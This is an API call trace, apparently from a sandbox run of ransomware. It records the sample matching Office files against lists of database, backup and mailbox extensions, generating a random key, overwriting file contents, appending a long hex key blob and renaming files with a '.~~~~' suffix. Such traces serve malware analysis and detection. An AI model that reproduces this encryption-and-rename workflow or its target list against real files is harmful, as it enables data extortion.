	[0137.462] lstrlenW (lpString=".VHDX") returned 5
	[0137.462] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.XLS", lpSrch=".VHDX") returned 0x0
	[0137.462] lstrlenW (lpString=".ndf") returned 4
	[0137.462] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.XLS", lpSrch=".ndf") returned 0x0
	[0137.462] lstrlenW (lpString=".DB") returned 3
	[0137.462] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.XLS", lpSrch=".DB") returned 0x0
	[0137.462] lstrlenW (lpString=".sql") returned 4
	[0137.462] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.XLS", lpSrch=".sql") returned 0x0
	[0137.462] lstrlenW (lpString=".MYD") returned 4
	[0137.462] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.XLS", lpSrch=".MYD") returned 0x0
	[0137.462] lstrlenW (lpString=".DBT") returned 4
	[0137.462] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.XLS", lpSrch=".DBT") returned 0x0
	[0137.462] lstrlenW (lpString=".ACCDB") returned 6
	[0137.462] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.XLS", lpSrch=".ACCDB") returned 0x0
	[0137.462] lstrlenW (lpString=".fdb") returned 4
	[0137.462] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.XLS", lpSrch=".fdb") returned 0x0
	[0137.463] lstrlenW (lpString=".bak") returned 4
	[0137.463] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.XLS", lpSrch=".bak") returned 0x0
	[0137.463] lstrlenW (lpString=".myd") returned 4
	[0137.463] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.XLS", lpSrch=".myd") returned 0x0
	[0137.463] lstrlenW (lpString=".DTXS") returned 5
	[0137.463] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.XLS", lpSrch=".DTXS") returned 0x0
	[0137.463] lstrlenW (lpString=".ckp") returned 4
	[0137.463] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.XLS", lpSrch=".ckp") returned 0x0
	[0137.463] lstrlenW (lpString=".dbt") returned 4
	[0137.463] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.XLS", lpSrch=".dbt") returned 0x0
	[0137.463] lstrlenW (lpString=".db") returned 3
	[0137.463] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.XLS", lpSrch=".db") returned 0x0
	[0137.463] lstrlenW (lpString=".TXT") returned 4
	[0137.463] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.XLS", lpSrch=".TXT") returned 0x0
	[0137.463] lstrlenW (lpString=".MDF") returned 4
	[0137.463] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.XLS", lpSrch=".MDF") returned 0x0
	[0137.463] lstrlenW (lpString=".bdb") returned 4
	[0137.463] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.XLS", lpSrch=".bdb") returned 0x0
	[0137.463] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0137.463] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.XLS", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0137.463] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
	[0137.463] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0137.463] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x394860) returned 1
	[0137.465] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0137.465] CryptReleaseContext (hProv=0x394860, dwFlags=0x0) returned 1
	[0137.465] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0137.465] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0137.465] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0137.465] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=25745508120) returned 1
	[0137.465] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xbb6134f0, dwHighDateTime=0x1d60e1e)) 
	[0137.465] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0137.465] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0137.465] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0137.465] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e4fc8
	[0137.465] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0137.465] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e4fc8 | out: hHeap=0x300000) returned 1
	[0137.465] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0137.466] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0137.466] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ce230
	[0137.466] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0137.466] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc4a8
	[0137.466] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ce230 | out: hHeap=0x300000) returned 1
	[0137.466] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0137.466] GetLastError () returned 0x0
	[0137.466] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0137.466] GetLastError () returned 0x0
	[0137.564] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0xffffde00, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.564] WriteFile (in: hFile=0x108, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x2200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x1f8fec0*=0x2200, lpOverlapped=0x0) returned 1
	[0137.564] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0137.564] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.564] WriteFile (in: hFile=0x108, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0137.564] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0137.564] WriteFile (in: hFile=0x108, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0137.564] CloseHandle (hObject=0x108) returned 1
	[0137.566] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c6250
	[0137.566] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.XLS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottplv.xls"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.XLS.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottplv.xls.~~~~")) returned 1
	[0137.820] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c6250 | out: hHeap=0x300000) returned 1
	[0137.820] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0137.820] GetLastError () returned 0x0
	[0137.821] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\FONTSCHM.INI", lpSrch=".scr") returned 0x0
	[0137.821] lstrlenW (lpString=".cmd") returned 4
	[0137.821] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\FONTSCHM.INI", lpSrch=".cmd") returned 0x0
	[0137.821] lstrlenW (lpString=".dll") returned 4
	[0137.821] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\FONTSCHM.INI", lpSrch=".dll") returned 0x0
	[0137.821] lstrlenW (lpString=".bat") returned 4
	[0137.821] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\FONTSCHM.INI", lpSrch=".bat") returned 0x0
	[0137.821] lstrlenW (lpString=".cpl") returned 4
	[0137.821] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\FONTSCHM.INI", lpSrch=".cpl") returned 0x0
	[0137.821] lstrlenW (lpString=".sys") returned 4
	[0137.821] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\FONTSCHM.INI", lpSrch=".sys") returned 0x0
	[0137.821] lstrlenW (lpString=".msc") returned 4
	[0137.821] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\FONTSCHM.INI", lpSrch=".msc") returned 0x0
	[0137.821] lstrlenW (lpString=".com") returned 4
	[0137.821] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\FONTSCHM.INI", lpSrch=".com") returned 0x0
	[0137.821] lstrlenW (lpString=".lnk") returned 4
	[0137.821] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\FONTSCHM.INI", lpSrch=".lnk") returned 0x0
	[0137.821] lstrlenW (lpString=".msp") returned 4
	[0137.821] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\FONTSCHM.INI", lpSrch=".msp") returned 0x0
	[0137.821] lstrlenW (lpString=".pif") returned 4
	[0137.821] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\FONTSCHM.INI", lpSrch=".pif") returned 0x0
	[0137.821] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0137.821] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\FONTSCHM.INI", lpSrch="msp\r\n.pif") returned 0x0
	[0137.821] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\FONTSCHM.INI" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\fontschm.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
	[0137.824] lstrlenW (lpString=".sqb") returned 4
	[0137.824] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\FONTSCHM.INI", lpSrch=".sqb") returned 0x0
	[0137.824] lstrlenW (lpString=".ost") returned 4
	[0137.824] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\FONTSCHM.INI", lpSrch=".ost") returned 0x0
	[0137.824] lstrlenW (lpString=".txt") returned 4
	[0137.825] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\FONTSCHM.INI", lpSrch=".txt") returned 0x0
	[0137.825] lstrlenW (lpString=".mdt") returned 4
	[0137.825] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\FONTSCHM.INI", lpSrch=".mdt") returned 0x0
	[0137.825] lstrlenW (lpString=".BDB") returned 4
	[0137.825] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\FONTSCHM.INI", lpSrch=".BDB") returned 0x0
	[0137.825] lstrlenW (lpString=".eql") returned 4
	[0137.825] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\FONTSCHM.INI", lpSrch=".eql") returned 0x0
	[0137.825] lstrlenW (lpString=".DBF") returned 4
	[0137.825] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\FONTSCHM.INI", lpSrch=".DBF") returned 0x0
	[0137.825] lstrlenW (lpString=".EQL") returned 4
	[0137.825] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\FONTSCHM.INI", lpSrch=".EQL") returned 0x0
	[0137.825] lstrlenW (lpString=".FDB") returned 4
	[0137.825] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\FONTSCHM.INI", lpSrch=".FDB") returned 0x0
	[0137.825] lstrlenW (lpString=".EDB") returned 4
	[0137.825] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\FONTSCHM.INI", lpSrch=".EDB") returned 0x0
	[0137.825] lstrlenW (lpString=".DACPAC") returned 7
	[0137.825] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\FONTSCHM.INI", lpSrch=".DACPAC") returned 0x0
	[0137.825] lstrlenW (lpString=".VHD") returned 4
	[0137.825] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\FONTSCHM.INI", lpSrch=".VHD") returned 0x0
	[0137.825] lstrlenW (lpString=".DBV") returned 4
	[0137.825] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\FONTSCHM.INI", lpSrch=".DBV") returned 0x0
	[0137.825] lstrlenW (lpString=".dacpac") returned 7
	[0137.825] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\FONTSCHM.INI", lpSrch=".dacpac") returned 0x0
	[0137.825] lstrlenW (lpString=".sdf") returned 4
	[0137.825] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\FONTSCHM.INI", lpSrch=".sdf") returned 0x0
	[0137.826] lstrlenW (lpString=".accdb") returned 6
	[0137.826] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\FONTSCHM.INI", lpSrch=".accdb") returned 0x0
	[0137.826] lstrlenW (lpString=".DBX") returned 4
	[0137.826] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\FONTSCHM.INI", lpSrch=".DBX") returned 0x0
	[0137.826] lstrlenW (lpString=".MDT") returned 4
	[0137.826] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\FONTSCHM.INI", lpSrch=".MDT") returned 0x0
	[0137.826] lstrlenW (lpString=".SQB") returned 4
	[0137.826] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\FONTSCHM.INI", lpSrch=".SQB") returned 0x0
	[0137.826] lstrlenW (lpString=".vhd") returned 4
	[0137.826] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\FONTSCHM.INI", lpSrch=".vhd") returned 0x0
	[0137.826] lstrlenW (lpString=".bac") returned 4
	[0137.826] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\FONTSCHM.INI", lpSrch=".bac") returned 0x0
	[0137.826] lstrlenW (lpString=".mdf") returned 4
	[0137.826] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\FONTSCHM.INI", lpSrch=".mdf") returned 0x0
	[0137.826] lstrlenW (lpString=".BAK") returned 4
	[0137.826] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\FONTSCHM.INI", lpSrch=".BAK") returned 0x0
	[0137.826] lstrlenW (lpString=".BAC") returned 4
	[0137.826] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\FONTSCHM.INI", lpSrch=".BAC") returned 0x0
	[0137.826] lstrlenW (lpString=".dbs") returned 4
	[0137.826] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\FONTSCHM.INI", lpSrch=".dbs") returned 0x0
	[0137.826] lstrlenW (lpString=".vhdx") returned 5
	[0137.826] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\FONTSCHM.INI", lpSrch=".vhdx") returned 0x0
	[0137.826] lstrlenW (lpString=".NDF") returned 4
	[0137.826] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\FONTSCHM.INI", lpSrch=".NDF") returned 0x0
	[0137.826] lstrlenW (lpString=".dat") returned 4
	[0137.826] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\FONTSCHM.INI", lpSrch=".dat") returned 0x0
	[0137.827] lstrlenW (lpString=".DBS") returned 4
	[0137.827] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\FONTSCHM.INI", lpSrch=".DBS") returned 0x0
	[0137.827] lstrlenW (lpString=".CKP") returned 4
	[0137.827] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\FONTSCHM.INI", lpSrch=".CKP") returned 0x0
	[0137.827] lstrlenW (lpString=".edb") returned 4
	[0137.827] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\FONTSCHM.INI", lpSrch=".edb") returned 0x0
	[0137.827] lstrlenW (lpString=".PST") returned 4
	[0137.827] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\FONTSCHM.INI", lpSrch=".PST") returned 0x0
	[0137.827] lstrlenW (lpString=".dbf") returned 4
	[0137.827] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\FONTSCHM.INI", lpSrch=".dbf") returned 0x0
	[0137.827] lstrlenW (lpString=".SQL") returned 4
	[0137.827] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\FONTSCHM.INI", lpSrch=".SQL") returned 0x0
	[0137.827] lstrlenW (lpString=".pst") returned 4
	[0137.827] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\FONTSCHM.INI", lpSrch=".pst") returned 0x0
	[0137.827] lstrlenW (lpString=".dbv") returned 4
	[0137.827] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\FONTSCHM.INI", lpSrch=".dbv") returned 0x0
	[0137.827] lstrlenW (lpString=".SDF") returned 4
	[0137.827] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\FONTSCHM.INI", lpSrch=".SDF") returned 0x0
	[0137.827] lstrlenW (lpString=".dtxs") returned 5
	[0137.827] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\FONTSCHM.INI", lpSrch=".dtxs") returned 0x0
	[0137.827] lstrlenW (lpString=".db3") returned 4
	[0137.827] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\FONTSCHM.INI", lpSrch=".db3") returned 0x0
	[0137.827] lstrlenW (lpString=".OST") returned 4
	[0137.827] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\FONTSCHM.INI", lpSrch=".OST") returned 0x0
	[0137.827] lstrlenW (lpString=".dbx") returned 4
	[0137.827] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\FONTSCHM.INI", lpSrch=".dbx") returned 0x0
	[0137.828] lstrlenW (lpString=".DB3") returned 4
	[0137.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\FONTSCHM.INI", lpSrch=".DB3") returned 0x0
	[0137.828] lstrlenW (lpString=".DAT") returned 4
	[0137.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\FONTSCHM.INI", lpSrch=".DAT") returned 0x0
	[0137.828] lstrlenW (lpString=".VHDX") returned 5
	[0137.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\FONTSCHM.INI", lpSrch=".VHDX") returned 0x0
	[0137.828] lstrlenW (lpString=".ndf") returned 4
	[0137.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\FONTSCHM.INI", lpSrch=".ndf") returned 0x0
	[0137.828] lstrlenW (lpString=".DB") returned 3
	[0137.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\FONTSCHM.INI", lpSrch=".DB") returned 0x0
	[0137.828] lstrlenW (lpString=".sql") returned 4
	[0137.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\FONTSCHM.INI", lpSrch=".sql") returned 0x0
	[0137.828] lstrlenW (lpString=".MYD") returned 4
	[0137.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\FONTSCHM.INI", lpSrch=".MYD") returned 0x0
	[0137.828] lstrlenW (lpString=".DBT") returned 4
	[0137.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\FONTSCHM.INI", lpSrch=".DBT") returned 0x0
	[0137.828] lstrlenW (lpString=".ACCDB") returned 6
	[0137.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\FONTSCHM.INI", lpSrch=".ACCDB") returned 0x0
	[0137.828] lstrlenW (lpString=".fdb") returned 4
	[0137.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\FONTSCHM.INI", lpSrch=".fdb") returned 0x0
	[0137.828] lstrlenW (lpString=".bak") returned 4
	[0137.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\FONTSCHM.INI", lpSrch=".bak") returned 0x0
	[0137.828] lstrlenW (lpString=".myd") returned 4
	[0137.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\FONTSCHM.INI", lpSrch=".myd") returned 0x0
	[0137.828] lstrlenW (lpString=".DTXS") returned 5
	[0137.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\FONTSCHM.INI", lpSrch=".DTXS") returned 0x0
	[0137.829] lstrlenW (lpString=".ckp") returned 4
	[0137.829] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\FONTSCHM.INI", lpSrch=".ckp") returned 0x0
	[0137.829] lstrlenW (lpString=".dbt") returned 4
	[0137.829] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\FONTSCHM.INI", lpSrch=".dbt") returned 0x0
	[0137.829] lstrlenW (lpString=".db") returned 3
	[0137.829] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\FONTSCHM.INI", lpSrch=".db") returned 0x0
	[0137.829] lstrlenW (lpString=".TXT") returned 4
	[0137.829] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\FONTSCHM.INI", lpSrch=".TXT") returned 0x0
	[0137.829] lstrlenW (lpString=".MDF") returned 4
	[0137.829] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\FONTSCHM.INI", lpSrch=".MDF") returned 0x0
	[0137.829] lstrlenW (lpString=".bdb") returned 4
	[0137.829] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\FONTSCHM.INI", lpSrch=".bdb") returned 0x0
	[0137.829] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0137.829] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\FONTSCHM.INI", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0137.829] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
	[0137.829] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0137.829] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x394b08) returned 1
	[0137.831] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0137.831] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0137.831] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0137.831] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0137.831] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0137.831] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=25782105621) returned 1
